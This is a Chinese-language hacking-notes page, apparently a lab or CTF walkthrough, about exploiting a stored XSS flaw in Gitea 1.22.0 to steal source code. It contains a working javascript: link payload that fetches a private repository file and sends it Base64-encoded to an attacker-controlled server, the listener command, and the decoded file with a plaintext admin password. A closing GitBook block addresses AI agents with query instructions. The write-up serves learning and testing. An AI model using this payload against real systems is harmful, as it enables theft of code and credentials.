> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# XSS 源代码窃取

### Gitea 上的 XSS（v1.22.0）

在 `http://localhost:3000` -> **Gitea** 可访问。

<figure><img src="/files/6deeefee7364c451d2e5c2d32a8a9387c5a2f144" alt=""><figcaption></figcaption></figure>

使用 Axel 的凭据建立连接。

<figure><img src="/files/6c36638dd103e986e31f2a1a30cc17899b9ebe21" alt=""><figcaption></figcaption></figure>

已知的 XSS 漏洞。

<figure><img src="/files/9d12590d2358ebcf45cc06118a5a67c6a5e1d94d" alt=""><figcaption></figcaption></figure>

我们创建一个项目，其描述包含：

```bash
<a href=javascript:alert()>XSS 测试</a>

```

<figure><img src="/files/95dc6eea4eeb87c7e8b9408ac101f2711d0ec096" alt=""><figcaption></figcaption></figure>

* 结果：

<figure><img src="/files/1968f33f150120a12d7027fd7106dad1f4d6c6c1" alt=""><figcaption></figcaption></figure>

### 通过 LinPEAS 拦截的邮件

<figure><img src="/files/f006fe48bc62a6f56503b1a64262031a93da314d" alt=""><figcaption></figcaption></figure>

电子邮件内容：

* jobert\@localhost 必须验证 Gitea 仓库

<figure><img src="/files/85f2d764420db172067b04ac54a90de6ee0a293f" alt=""><figcaption></figcaption></figure>

我们发送一个包含脚本外传的 XSS 链接，该脚本读取页面内容 `index.php` 从 Gitea 仓库中，先将其编码为 Base64，然后发送到我们的 Web 服务器

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">已入侵</a>

```

{% endcode %}

<figure><img src="/files/4ea8a557ae055ecf7940edfe07726ff1c71777db" alt=""><figcaption></figcaption></figure>

#### 通过我们的 Web 服务器

```bash
python -m http.server 8080

```

<figure><img src="/files/e028d45eeea1fb2230a7ddf7ab6f06c96afba0d1" alt=""><figcaption></figcaption></figure>

#### 外传内容（Base64 解码后）：

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/f37ca71001a1af2463723b3ea39ff2f0f90ec4b5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
